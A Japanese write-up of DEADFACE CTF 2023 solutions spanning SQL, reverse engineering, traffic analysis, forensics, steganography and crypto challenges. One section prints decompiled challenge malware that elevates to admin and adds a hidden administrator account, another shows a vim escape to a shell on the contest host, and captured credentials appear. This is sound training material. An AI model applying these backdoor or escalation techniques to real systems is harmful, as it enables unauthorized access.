この大会は2023/10/20 23:00(JST)~2023/10/22 11:00(JST)に開催されました。
今回もチームで参戦。結果は1860点で1107チーム中172位でした。
自分で解けた問題をWriteupとして書いておきます。
Starter 1 (Starter 5)
ルールのページの最下部にフラグが書いてあった。
flag{I_acknowledge_the_rules}
Starter 2 (Starter 5)
Ghost Townで"Where to even get started"というタイトルの投稿を検索する。投稿を開始したのはdaem0nで、5月18日。
flag{daem0n_0518}
Aurora Compromise (SQL 10)
$ mysql -u root -p -e "CREATE DATABASE IF NOT EXISTS aurora" Enter password: $ mysql -u root -p -D aurora < aurora.sql Enter password:
Hansons Terraceという通りに住んでいる患者の姓名を答える問題。
PDFのデータベースの設計を見る。
patientsテーブルに以下のカラムがあるので、条件を指定して検索する。
・first_name ・last_name ・street
$ mysql -u root -p aurora Enter password: Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 10 Server version: 10.11.4-MariaDB-1 Debian 12 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [aurora]> select first_name, last_name, street from patients where street like '%Hansons Terrace%'; +------------+-----------+-----------------------+ | first_name | last_name | street | +------------+-----------+-----------------------+ | Sandor | Beyer | 20263 Hansons Terrace | +------------+-----------+-----------------------+ 1 row in set (0.003 sec)
flag{Sandor Beyer}
Credit Compromise (SQL 15)
流出したクレジットカードの枚数を答える問題。
billingテーブルにcard_numのカラムがあり、このレコード数が求める答え。
MariaDB [aurora]> select count(*) from billing; +----------+ | count(*) | +----------+ | 10391 | +----------+ 1 row in set (0.002 sec)
flag{10391}
Starypax (SQL 50)
2023 年 10 月 20 日の時点で、Starypax の有効な処方箋を持つ患者の人数と、最も早く処方箋が期限切れになる患者の姓名を答える問題。
drugsテーブルにdrug_numのカラムがあり、それと紐づくprescriptionsテーブルから該当するpatient_idを絞る。その中で最もexpirationが早いpatient_idに該当する患者について、patientsテーブルからその患者の姓名を取得する。
MariaDB [aurora]> select drug_id from drugs where drug_name = 'Starypax'; +---------+ | drug_id | +---------+ | 26 | +---------+ 1 row in set (0.000 sec) MariaDB [aurora]> select patient_id, expiration from prescriptions where drug_id = 26 and expiration > '2023-10-20'; +------------+------------+ | patient_id | expiration | +------------+------------+ | 10482 | 2023-10-31 | | 13779 | 2023-11-26 | | 18086 | 2023-11-20 | | 10042 | 2023-10-26 | | 11367 | 2023-11-04 | | 14322 | 2023-12-19 | | 12013 | 2023-10-28 | +------------+------------+ 7 rows in set (0.001 sec) MariaDB [aurora]> select first_name, last_name from patients where patient_id = 10042; +------------+-----------+ | first_name | last_name | +------------+-----------+ | Renae | Allum | +------------+-----------+ 1 row in set (0.000 sec)
flag{7_Renae Allum}
Transaction Approved (SQL 100)
2023 年 10 月の時点で有効期限が切れていないクレジットカードの枚数を答える問題。
billingテーブルにcard_numとexpカラムがある。expが2023-10より大きいレコードの数を検索する。
MariaDB [aurora]> select count(*) from billing where exp > '2023-10'; +----------+ | count(*) | +----------+ | 8785 | +----------+ 1 row in set (0.002 sec)
flag{8785}
City Hoard (SQL 100)
Remizideの在庫が最も多い施設がある都市を答える問題。
drugsテーブルにdrug_nameのカラムがあり、該当するdrug_idを確認する。inventoryテーブルでそのdrug_idでqtyが最も多い、facility_idを確認する。facilitiesテーブルでそのfacility_idに該当するレコードのcityを確認する。
MariaDB [aurora]> select drug_id from drugs where drug_name = 'Remizide'; +---------+ | drug_id | +---------+ | 13 | +---------+ 1 row in set (0.000 sec) MariaDB [aurora]> select facility_id, qty from inventory where drug_id = 13 order by qty desc limit 1; +-------------+------+ | facility_id | qty | +-------------+------+ | 531 | 2999 | +-------------+------+ 1 row in set (0.002 sec) MariaDB [aurora]> select city from facilities where facility_id = 531; +-------+ | city | +-------+ | Miami | +-------+ 1 row in set (0.000 sec)
flag{Miami}
Counting STARs (SQL 150)
STAR(Starypax)を最も多く処方した医師の姓名とポジションを答える問題。
問題「Starypax」でStarypaxのdrug_idは26であることは確認済み。
prescriptionsテーブルにdrug_id、doctor_idカラムがある。drug_idが26でdoctor_idごとにレコード数を取得する。record数の合計が最も多いdoctor_id(=staff_id)を条件に、staffテーブルからfirst_name, last_nameを取得する。positions_assignedテーブルからstaff_idを元に、position_idを取得する。positionテーブルからposition_idを元に、position_nameを取得する。
MariaDB [aurora]> select doctor_id, count(*) from prescriptions where drug_id = 26 group by doctor_id order by 2 desc limit 1; +-----------+----------+ | doctor_id | count(*) | +-----------+----------+ | 1957 | 8 | +-----------+----------+ 1 row in set (0.001 sec) MariaDB [aurora]> select first_name, last_name from staff where staff_id = 1957; +------------+-------------+ | first_name | last_name | +------------+-------------+ | Alisa | MacUchadair | +------------+-------------+ 1 row in set (0.000 sec) MariaDB [aurora]> select position_id from positions_assigned where staff_id = 1957; +-------------+ | position_id | +-------------+ | 18 | +-------------+ 1 row in set (0.000 sec) MariaDB [aurora]> select position_name from positions where position_id = 18; +---------------+ | position_name | +---------------+ | Dermatologist | +---------------+ 1 row in set (0.000 sec)
flag{Alisa MacUchadair Dermatologist}
Cereal Killer 05 (Reverse Engineering 10)
$ strings re05.bin : Dr. Geschichter, just because he is evil, doesn't mean he doesn't have a favorite cereal. Please enter the passphrase, which is based off his favorite cereal and entity: notf1aq{you-guessed-it---this-is-not-the-f1aq} Xen0M0rphMell0wz 9*2$" GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0 :
パスフレーズは Xen0M0rphMell0wz であると推測できる。
$ ./re05.bin Dr. Geschichter, just because he is evil, doesn't mean he doesn't have a favorite cereal. Please enter the passphrase, which is based off his favorite cereal and entity: Xen0M0rphMell0wz flag{XENO-DO-DO-DO-DO-DO-DOOOOO}
flag{XENO-DO-DO-DO-DO-DO-DOOOOO}
Cereal Killer 01 (Reverse Engineering 50)
Ghidraでデコンパイルする。
undefined4 main(void) { int iVar1; undefined4 uVar2; int in_GS_OFFSET; char *local_1090; char *local_108c; char *local_1088; char local_1078 [100]; char local_1014 [4096]; int local_14; undefined *local_10; local_10 = &stack0x00000004; local_14 = *(int *)(in_GS_OFFSET + 0x14); local_108c = "I&_9a%mx_tRmE4D3DmYw_9fbo6rd_aFcRbE,D.D>Y[!]!\'!q"; puts("Bumpyhassan loves Halloween, so naturally, he LOVES SPOOKY CEREALS!"); puts("He also happens to be a fan of horror movies from the 1970\'s to the 1990\'s."); printf("What is bumpyhassan\'s favorite breakfast cereal? "); fgets(local_1014,0xfff,_stdin); for (local_1090 = local_1014; *local_1090 != '\0'; local_1090 = local_1090 + 1) { *local_1090 = *local_1090 + '\a'; } *local_1090 = '\0'; iVar1 = memcmp(&DAT_00012039,local_1014,0xe); if (iVar1 == 0) { puts("You are correct!"); local_1088 = local_1078; for (; *local_108c != '\0'; local_108c = local_108c + 2) { *local_1088 = *local_108c; local_1088 = local_1088 + 1; } *local_1088 = '\0'; printf("flag{%s}\n",local_1078); } else { puts("Sorry, that is not bumpyhassan\'s favorite cereal. :( "); } uVar2 = 0; if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) { uVar2 = __stack_chk_fail_local(); } return uVar2; } DAT_00012039 XREF[3]: main:0001121b(*), main:00011221(*), main:000112db(*) 00012039 4d ?? 4Dh M 0001203a 79 ?? 79h y 0001203b 7c ?? 7Ch | 0001203c 70 ?? 70h p 0001203d 7b ?? 7Bh { 0001203e 80 ?? 80h 0001203f 47 ?? 47h G 00012040 52 ?? 52h R 00012041 59 ?? 59h Y 00012042 5c ?? 5Ch \ 00012043 4c ?? 4Ch L 00012044 4e ?? 4Eh N 00012045 4c ?? 4Ch L 00012046 59 ?? 59h Y 00012047 00 ?? 00h
DAT_00012039の文字から'\a'(='\x07')だけ引けばよい。
>>> enc = 'My|p{\x80GRY\\LNLY' >>> ''.join([chr(ord(c) - 7) for c in enc]) 'Fruity@KRUEGER'
この文字列を入力する。
$ ./re01 Bumpyhassan loves Halloween, so naturally, he LOVES SPOOKY CEREALS! He also happens to be a fan of horror movies from the 1970's to the 1990's. What is bumpyhassan's favorite breakfast cereal? Fruity@KRUEGER You are correct! flag{I_am_REDDY_for_FREDDY!!!}
flag{I_am_REDDY_for_FREDDY!!!}
My Daily Macros (Reverse Engineering 70)
$ olevba HR_List.xlsm olevba 0.60.1 on Python 3.11.5 - http://decalage.info/python/oletools =============================================================================== FILE: HR_List.xlsm Type: OpenXML WARNING invalid value for PROJECTLCID_Id expected 0002 got 004A WARNING invalid value for PROJECTLCID_Lcid expected 0409 got 0004 WARNING invalid value for PROJECTLCIDINVOKE_Id expected 0014 got 0002 WARNING invalid value for PROJECTCODEPAGE_Id expected 0003 got 0014 WARNING invalid value for PROJECTCODEPAGE_Size expected 0002 got 0004 WARNING invalid value for PROJECTNAME_Id expected 0004 got 0000 ERROR PROJECTNAME_SizeOfProjectName value not in range [1-128]: 131075 ERROR Error in _extract_vba Traceback (most recent call last): File "/usr/local/lib/python3.11/dist-packages/oletools/olevba.py", line 3526, in extract_macros for stream_path, vba_filename, vba_code in \ File "/usr/local/lib/python3.11/dist-packages/oletools/olevba.py", line 2094, in _extract_vba project = VBA_Project(ole, vba_root, project_path, dir_path, relaxed) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/dist-packages/oletools/olevba.py", line 1752, in __init__ projectdocstring_id = struct.unpack("<H", dir_stream.read(2))[0] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ struct.error: unpack requires a buffer of 2 bytes WARNING For now, VBA stomping cannot be detected for files in memory ------------------------------------------------------------------------------- VBA MACRO Module1 in file: xl/vbaProject.bin - OLE stream: 'Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub Deadface() function Invoke-RandomCode { $randomCodeList = @( { # Random code block 1 Write-Host "Hello, World!" $randomNumber = Get-Random -Minimum 1 -Maximum 100 Write-Host "Random number: $randomNumber" }, { # Random code block 2 # flag{youll_never_find_this_} $randomString = [char[]](65..90) | Get-Random -Count 5 | foreach { [char]$_ } Write-Host "Random string: $randomString" }, { # Random code block 3 $currentTime = Get-Date Write-Host "Current time: $currentTime" } ) $randomIndex = Get-Random -Minimum 0 -Maximum $randomCodeList.Count $randomCodeBlock = $randomCodeList[$randomIndex] & $randomCodeBlock } Invoke -RandomCode End Sub ------------------------------------------------------------------------------- VBA MACRO ThisWorkbook in file: xl/vbaProject.bin - OLE stream: 'ThisWorkbook' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO Sheet1 in file: xl/vbaProject.bin - OLE stream: 'Sheet1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |Suspicious|Write |May write to a file (if combined with Open) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+
コメントにフラグが入っていた。
flag{youll_never_find_this_}
Cereal Killer 02 (Reverse Engineering 100)
Ghidraでデコンパイルする。
undefined4 main(void) { int iVar1; undefined4 uVar2; int in_GS_OFFSET; char local_2014 [4096]; char local_1014 [4096]; int local_14; undefined *local_10; local_10 = &stack0x00000004; local_14 = *(int *)(in_GS_OFFSET + 0x14); puts("Luciafer also loves Halloween, so she, too, LOVES SPOOKY CEREALS!"); puts("She has different favorite villain from 70-80\'s horror movies."); printf("What is Luciafer\'s favorite breakfast cereal? "); fgets(local_2014,0xfff,_stdin); decode_str(local_2014,0x3f,&DAT_00012094,local_1014); iVar1 = strncmp(local_1014,"CORRECT!!!!!",0xc); if (iVar1 == 0) { puts(local_1014); } else { printf("%s", "INCORRECT....: I\'m afraid that is not Lucia\'s current favorite monster cereal. She is kind of capricious, you know, so it changes often.\n" ); } uVar2 = 0; if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) { uVar2 = __stack_chk_fail_local(); } return uVar2; } void decode_str(int param_1,int param_2,int param_3,int param_4) { int local_10; int local_c; local_10 = 0; local_c = 0; while (local_c < param_2) { *(byte *)(param_4 + local_c) = *(byte *)(param_3 + local_c) ^ *(byte *)(param_1 + local_10); local_c = local_c + 1; local_10 = local_10 + 1; if (0xb < local_10) { local_10 = 0; } } *(undefined *)(param_4 + local_c) = 0; return; } DAT_00012094 XREF[3]: main:0001126e(*), main:00011274(*), main:000112d7(*) 00012094 08 ?? 08h 00012095 3d ?? 3Dh = 00012096 33 ?? 33h 3 00012097 3f ?? 3Fh ? 00012098 15 ?? 15h 00012099 36 ?? 36h 6 0001209a 32 ?? 32h 2 0001209b 47 ?? 47h G 0001209c 52 ?? 52h R 0001209d 12 ?? 12h 0001209e 1b ?? 1Bh 0001209f 65 ?? 65h e 000120a0 6b ?? 6Bh k 000120a1 48 ?? 48h H 000120a2 41 ?? 41h A 000120a3 0b ?? 0Bh 000120a4 3c ?? 3Ch < 000120a5 14 ?? 14h 000120a6 01 ?? 01h 000120a7 1d ?? 1Dh 000120a8 34 ?? 34h 4 000120a9 41 ?? 41h A 000120aa 5b ?? 5Bh [ 000120ab 29 ?? 29h ) 000120ac 1b ?? 1Bh 000120ad 13 ?? 13h 000120ae 4c ?? 4Ch L 000120af 26 ?? 26h & 000120b0 02 ?? 02h 000120b1 34 ?? 34h 4 000120b2 2b ?? 2Bh + 000120b3 16 ?? 16h 000120b4 06 ?? 06h 000120b5 40 ?? 40h @ 000120b6 17 ?? 17h 000120b7 0d ?? 0Dh 000120b8 38 ?? 38h 8 000120b9 5f ?? 5Fh _ 000120ba 22 ?? 22h " 000120bb 02 ?? 02h 000120bc 3d ?? 3Dh = 000120bd 1c ?? 1Ch 000120be 08 ?? 08h 000120bf 4b ?? 4Bh K 000120c0 35 ?? 35h 5 000120c1 5c ?? 5Ch \ 000120c2 48 ?? 48h H 000120c3 69 ?? 69h i 000120c4 0f ?? 0Fh 000120c5 13 ?? 13h 000120c6 4c ?? 4Ch L 000120c7 2f ?? 2Fh / 000120c8 31 ?? 31h 1 000120c9 11 ?? 11h 000120ca 4b ?? 4Bh K 000120cb 2d ?? 2Dh - 000120cc 1a ?? 1Ah 000120cd 57 ?? 57h W 000120ce 49 ?? 49h I 000120cf 65 ?? 65h e 000120d0 6a ?? 6Ah j 000120d1 53 ?? 53h S 000120d2 1c ?? 1Ch 000120d3 00 ?? 00h
DAT_00012094とのXORが"CORRECT!!!!!"になればよい。
>>> key = '\x08=3?\x1562GR\x12\x1be' >>> enc = 'CORRECT!!!!!' >>> ''.join([chr(ord(c) ^ ord(k)) for c, k in zip(enc, key)]) 'KramPuffs3:D'
この文字列を入力する。
$ ./re02.bin Luciafer also loves Halloween, so she, too, LOVES SPOOKY CEREALS! She has different favorite villain from 70-80's horror movies. What is Luciafer's favorite breakfast cereal? KramPuffs3:D CORRECT!!!!! : flag{GramPa-KRAMpus-Is-Comin-For-Da-Bad-Kids!!!}
flag{GramPa-KRAMpus-Is-Comin-For-Da-Bad-Kids!!!}
STARvin for Secrets 1: Lindsey's Lyrics (Reverse Engineering 100)
Ghidraでデコンパイルする。
int __cdecl main(int _Argc,char **_Argv,char **_Env) { BOOL BVar1; undefined4 in_register_0000000c; longlong lVar2; SHELLEXECUTEINFO *pSVar3; char *in_stack_fffffffffffffd38; char *in_stack_fffffffffffffd40; SHELLEXECUTEINFO shellExecuteInfo; WCHAR moduleName [260]; char *keyword; char *directory; __main(CONCAT44(in_register_0000000c,_Argc)); BVar1 = IsRunAsAdmin(); if (BVar1 == 0) { GetModuleFileNameW((HMODULE)0x0,moduleName,0x104); pSVar3 = &shellExecuteInfo; for (lVar2 = 0xe; lVar2 != 0; lVar2 = lVar2 + -1) { pSVar3->cbSize = 0; pSVar3->fMask = 0; pSVar3 = (SHELLEXECUTEINFO *)&pSVar3->hwnd; } shellExecuteInfo.cbSize = 0x70; shellExecuteInfo.lpFile = moduleName; shellExecuteInfo.nShow = 1; shellExecuteInfo.lpVerb = L"runas"; ShellExecuteExW((SHELLEXECUTEINFOW *)&shellExecuteInfo); puts("Reran as admin\n"); /* WARNING: Subroutine does not return */ exit(0); } oreos(); milk(); wishbone(in_stack_fffffffffffffd38,in_stack_fffffffffffffd40); ykk(); cryptkeeper(); enigma(); exfil(); return 0; } int oreos(void) { size_t sVar1; DWORD arvin; HKEY hKey; wchar_t *meat; LONG stephanie; stephanie = RegCreateKeyExW((HKEY)0xffffffff80000001,L"Software\\MusicDownloader",0,(LPWSTR)0x0,0, 0xf003f,(LPSECURITY_ATTRIBUTES)0x0,(PHKEY)&hKey,&arvin); if (stephanie != 0) { printf("Failed to create registry key. Error code %d",(ulonglong)arvin); } meat = L"ZmxhZ3sxbnMxZGV"; sVar1 = wcslen(L"ZmxhZ3sxbnMxZGV"); stephanie = RegSetValueExW((HKEY)hKey,L"veggies",0,1,(BYTE *)meat,((int)sVar1 + 1) * 2); if (stephanie != 0) { printf("Failed to write values to key"); } RegCloseKey((HKEY)hKey); return 0; }
以下のbase64文字列がある。
ZmxhZ3sxbnMxZGV
int milk(void) { longlong lVar1; undefined8 *puVar2; LOCALGROUP_MEMBERS_INFO_3 account; USER_INFO_1 userInfo; wchar_t password [256]; wchar_t username [257]; DWORD dwError; DWORD dwLevel; DWORD status; DWORD userFlags; userInfo.usri1_password = password; username[0] = L'm'; username[1] = L'r'; username[2] = L's'; username[3] = L'a'; username[4] = L'd'; username[5] = L'a'; username[6] = L'm'; username[7] = L's'; username[8] = L'\0'; puVar2 = (undefined8 *)(username + 9); for (lVar1 = 0x3e; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } password[0] = L'f'; password[1] = L'd'; password[2] = L'D'; password[3] = L'N'; password[4] = L'o'; password[5] = L'X'; password[6] = L'2'; password[7] = L'1'; password[8] = L'A'; password[9] = L'd'; password[10] = L'H'; password[11] = L'I'; password[12] = L'x'; password[13] = L'e'; password[14] = L'H'; password[15] = L'0'; password[16] = L'='; password[17] = L'\0'; puVar2 = (undefined8 *)(password + 0x12); for (lVar1 = 0x3b; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } *(undefined4 *)puVar2 = 0; userInfo.usri1_name = username; userInfo.usri1_priv = 1; userInfo.usri1_home_dir = (LPWSTR)0x0; userInfo.usri1_comment = (LPWSTR)0x0; userInfo.usri1_flags = 0x10201; userInfo.usri1_script_path = (LPWSTR)0x0; NetUserAdd(0,1,&userInfo,0); account.lgrmi3_domainandname = L"mrsadams"; NetLocalGroupAddMembers(0,L"Administrators",3,&account,1); return 0; }
passwordは以下の通り。
fdDNoX21AdHIxeH0=
先ほどのbase64文字列と結合して、デコードする。
$ echo ZmxhZ3sxbnMxZGVfdDNoX21AdHIxeH0= | base64 -d flag{1ns1de_t3h_m@tr1x}
flag{1ns1de_t3h_m@tr1x}
Sometimes IT Lets You Down (Traffic Analysis 25)
smbでフィルタリングする。全部のユーザプロファイルフォルダを探索しており、No.13226のパケットから固有のユーザのものへのアクセスがある。
flag{mmeyers}
Git Rekt (Traffic Analysis 50)
httpでフィルタリングする。No.3240のパケットで、Sign inの情報をPOSTしている。
Form item: "login" = "spookyboi@deadface.io" Form item: "password" = "SpectralSecrets#2023"
flag{SpectralSecrets#2023}
Creepy Crawling (Traffic Analysis 75)
No.5543パケットなどの情報を見ると、SSHプロトコル情報が書いてある。
SSH-2.0-9.29 FlowSsh: Bitvise SSH Server (WinSSHD) 9.29
flag{SSH-2.0-9.29 FlowSsh: Bitvise SSH Server}
UVB-76 (Hello, are you there?) (Traffic Analysis 75)
ICMPのパケットNo.2624にフラグがあった。
以下のそのままのフラグは通らなかった。
Flag{is_this_thing_on?}
先頭を小文字にする。
flag{is_this_thing_on?}
Keys to the Kingdom (Traffic Analysis 100)
pcapはjpgが分断されて送信されている。抽出して結合し、jpgを復元する。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('Thekeytothekingdom.pcap') jpg = b'' for p in packets: jpg += p[Raw].load with open('message.jpg', 'wb') as f: f.write(jpg)
CyberChefのMagicで問題のkeyを復号する。XOR({'option':'Hex','string':'90'},'Standard',false) の時に以下のように復号できた。
CTF{Thepassphraseis:Numuhukumakiakiaialunamor}
steghideでパスフレーズに Numuhukumakiakiaialunamor を指定して、データを抽出する。
$ steghide extract -sf message.jpg Enter passphrase: wrote extracted data to "flag.txt". $ cat flag.txt flag{Error404FlagNotFound}
flag{Error404FlagNotFound}
What's the Wallet (Forensics 20)
Bitcoin.txtの中に以下の記述がある。
function Store-BtcWalletAddress { `$global:BtcWalletAddress = [System.Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetBytes('bjMzaGE1bm96aXhlNnJyZzcxa2d3eWlubWt1c3gy')) }
以下の文字列をbase64デコードする。
'bjMzaGE1bm96aXhlNnJyZzcxa2d3eWlubWt1c3gy'
$ echo bjMzaGE1bm96aXhlNnJyZzcxa2d3eWlubWt1c3gy | base64 -d n33ha5nozixe6rrg71kgwyinmkusx2
flag{n33ha5nozixe6rrg71kgwyinmkusx2}
Host Busters 1 (Forensics 50)
$ ssh vim@gh0st404.deadface.io The authenticity of host 'gh0st404.deadface.io (143.244.179.162)' can't be established. ED25519 key fingerprint is SHA256:YThY7nCjBBM0MQts+XQFO1Q2Hlg4zfukCCTwH2+1bBw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'gh0st404.deadface.io' (ED25519) to the list of known hosts. vim@gh0st404.deadface.io's password:
:!/bin/sh
$ id uid=1002(vim) gid=1002(vim) groups=1002(vim),1004(deadface) $ ls hostbusters1.txt $ cat hostbusters1.txt flag{esc4P3_fr0m_th3_V1M}
flag{esc4P3_fr0m_th3_V1M}
You've Been Ransomwared (Steganography 10)
StegSolveで開き、Blue plane 5を見ると、2進数のコードが見える。
01010100 01101000 01101001 01110011 00100000 01110010 01100001 01101110 01110011 01101111 01101101 01110111 01100001 01110010 01100101 00100000 01100010 01110010 01101111 01110101 01100111 01101000 01110100 00100000 01110100 01101111 00100000 01111001 01101111 01110101 00100000 01100010 01111001 00100000 01101101 01101001 01110010 01110110 01100101 01100001 01101100 00101110
デコードする。
#!/usr/bin/env python3 enc = ''' 01010100 01101000 01101001 01110011 00100000 01110010 01100001 01101110 01110011 01101111 01101101 01110111 01100001 01110010 01100101 00100000 01100010 01110010 01101111 01110101 01100111 01101000 01110100 00100000 01110100 01101111 00100000 01111001 01101111 01110101 00100000 01100010 01111001 00100000 01101101 01101001 01110010 01110110 01100101 01100001 01101100 00101110 ''' enc = enc.replace('\n', '').split(' ') msg = '' for c in enc: msg += chr(int(c, 2)) print(msg)
デコード結果は以下の通り。
This ransomware brought to you by mirveal
flag{mirveal}
Fetching Secrets (Steganography 20)
$ stegseek cyberdog.jpg dict/rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "kira" [i] Extracting to "cyberdog.jpg.out". $ file cyberdog.jpg.out cyberdog.jpg.out: PNG image data, 500 x 100, 8-bit/color RGBA, non-interlaced $ mv cyberdog.jpg.out flag.png
flag.pngにフラグが書いてあった。
flag{g00d_dawg_woofw00f}
Electric Steel (Steganography 150)
$ binwalk electric-steel.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1232 x 928, 8-bit/color RGB, non-interlaced 2767 0xACF Zlib compressed data, default compression 1435378 0x15E6F2 TIFF image data, big-endian, offset of first image directory: 8 1435914 0x15E90A Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 1467642 0x1664FA gzip compressed data, from Unix, last modified: 2023-06-04 01:14:27
gzip compressed dataを抽出する。
#!/usr/bin/env python3 with open('electric-steel.png', 'rb') as f: data = f.read() gz = data[1467642:-12] with open('flag.gz', 'wb') as f: f.write(gz)
抽出したflag.gzを解凍する。
$ gzip -d flag.gz gzip: flag.gz: decompression OK, trailing garbage ignored $ cat flag flag.txt0000664000175000017500000000003614436762547012573 0ustar syyntaxsyyntaxflag{3L3ctr1c_5t33L_b1G_H41R}
flag{3L3ctr1c_5t33L_b1G_H41R}
Terms and Conditions May Apply (Steganography 150)
Ghost Townで以下の掲示板が該当する。
https://ghosttown.deadface.io/t/predictive-programming/132
ここからビデオをダウンロードし、フレームごとに分割する。
#!/usr/bin/env python3 import cv2 movie = cv2.VideoCapture('Lytton Labs Update Infomercial 1 - VF.mp4') nframe = int(movie.get(cv2.CAP_PROP_FRAME_COUNT)) for i in range(nframe): ret, frame = movie.read() cv2.imwrite('frames/frame_' + str(i).zfill(5) + '.png', frame)
QRコードのパーツの画像が16個入っていたので、収集して、結合する。
QRコードをリーダで読み取る。
https://files.lyttonlabs.org
flag{https://files.lyttonlabs.org}
Coin Code (Cryptography 10)
コインの写真からシーザー暗号と推測できる。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 18: Next target for me will be Aurora Pharma
flag{Aurora Pharma}
Letter Soup (Cryptography 10)
ワードを縦横で探し、残りの文字を並べ、フラグの形式にする。
MSHN{HZISHJRMLHAOLYZZOPULPUAOLZBU}
シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 7: FLAG{ASBLACKFEATHERSSHINEINTHESUN}
FLAG{ASBLACKFEATHERSSHINEINTHESUN}
B1Tz and B0tZ (Cryptography 25)
2進数のコードになっているので、デコードする。さらに16進数デコードし、最後にrot13する。
#!/usr/bin/env python3 import codecs with open('bitsandbots.txt', 'r') as f: codes = f.read().rstrip() codes = codes.split(' ') msg = '' for code in codes: msg += chr(int(code, 2)) print('[+] message:', msg) codes = msg[145:].split(' ') msg = '' for code in codes: msg += chr(int(code, 16)) print('[+] message:', msg) flag = codecs.decode(msg, 'rot-13') print('[*] flag:', flag)
実行結果は以下の通り。
[+] message: dont forget the basics! but you diddnt think it would be that easy did you? HAHAHAHAHA Silly Turbos! More Like Turbo TACKY!!!! Go ahead and ROT 73 79 6E 74 7B 73 79 76 63 76 67 6E 61 71 65 72 69 72 65 66 72 76 67 7D [+] message: synt{syvcvgnaqerirefrvg} [*] flag: flag{flipitandreverseit}
flag{flipitandreverseit}
Refill on Soup (Cryptography 75)
ワードを縦横斜めで探し、残りの文字を並べる。
NVAVAOLSHZASPULMVYAOLMSHNHUZDLYAOHANVLZPUZPKLAOLIYHJRLAZZAVWNQWKDDEVWZLZTJNTHXSKEADVUCBVTRKLHWEEBGBDTHHZAOLFMSFHJYVZZ
シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 7: GOTOTHELASTLINEFORTHEFLAGANSWERTHATGOESINSIDETHEBRACKETSSTOPGJPDWWXOPSESMCGMAQLDXTWONVUOMKDEAPXXUZUWMAASTHEYFLYACROSS
単語で区切る。
GO TO THE LAST LINE FOR THE FLAG ANSWER THAT GOES INSIDE THE BRACKETS STOPGJPDWWXOPSESMCGMAQLDXTWONVUOMKDEAPXXUZUWMAASTHEYFLYACROSS
最後の行の部分を取り出す。
ASTHEYFLYACROSS
flag{ASTHEYFLYACROSS}
HAM JAM (Cryptography 75)
wavファイルにはモールス信号が入っている。https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。
THEKEYISHACKTHEPLANET
Ghost Townを調べると、関係する掲示板がある。
https://ghosttown.deadface.io/t/rendezvous-lets-goooooo/127
バーコードのような画像があるので、ダウンロードする。
調べると、Codablockというバーコードらしい。https://products.aspose.app/barcode/recognize/codablockでデコードする。
YEOOFIIGEHRJBMTJYYUSKPMOIK
Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。
暗号:YEOOFIIGEHRJBMTJYYUSKPMOIK 鍵 :HACKTHEPLANET
復号結果は以下の通り。
REMEMBERTHEFIFTHOFNOVEMBER
flag{NOVEMBER-5}
Color Me Impressed (Cryptography 75)
掲示板からflight_logs.zipをダウンロードする。しかし、このzipはパスワードがかかっているので、一旦保留。
掲示板からカラーテンプレートの画像をダウンロードする。左からRGBのコードをASCIIコードとしてデコードする。
#!/usr/bin/env python3 from PIL import Image img = Image.open('image.png').convert('RGB') password = '' for i in range(7): r, g, b = img.getpixel((140 + i * 280, 140)) password += chr(r) + chr(g) + chr(b) print(password)
デコード結果は以下の通り。
Gl@55H#u$3$tOn3Sm@5h
これをパスワードとしてzipを解凍すると、flight_logs.jsonが展開された。このjsonファイルの最終行にフラグが書いてあった。
{"flag": "flag{D3@dF@c3Rulz!}"}
flag{D3@dF@c3Rulz!}
0ff Again On Aga1n (Cryptography 100)
Purple, Blackを0, Green, Pinkを1にして、上から行単位でデコードする。
>>> chr(int('01010100', 2)) 'T' >>> chr(int('00110011', 2)) '3' >>> chr(int('01000011', 2)) 'C' >>> chr(int('01001000', 2)) 'H' >>> chr(int('01001110', 2)) 'N' >>> chr(int('00110000', 2)) '0' >>> chr(int('01000111', 2)) 'G' >>> chr(int('00110001', 2)) '1'
以下のフラグは通らない。
flag{T3CHN0G1}
次にPurple, Greenを0, Black, Pinkを1にして、左から列単位でデコードする。
>>> chr(int('00110000', 2)) '0' >>> chr(int('00111000', 2)) '8' >>> chr(int('01000000', 2)) '@' >>> chr(int('00110001', 2)) '1' >>> chr(int('01010010', 2)) 'R' >>> chr(int('00110011', 2)) '3' >>> chr(int('01001001', 2)) 'I' >>> chr(int('01001110', 2)) 'N'
flag{T3CHN0G108@1R3IN}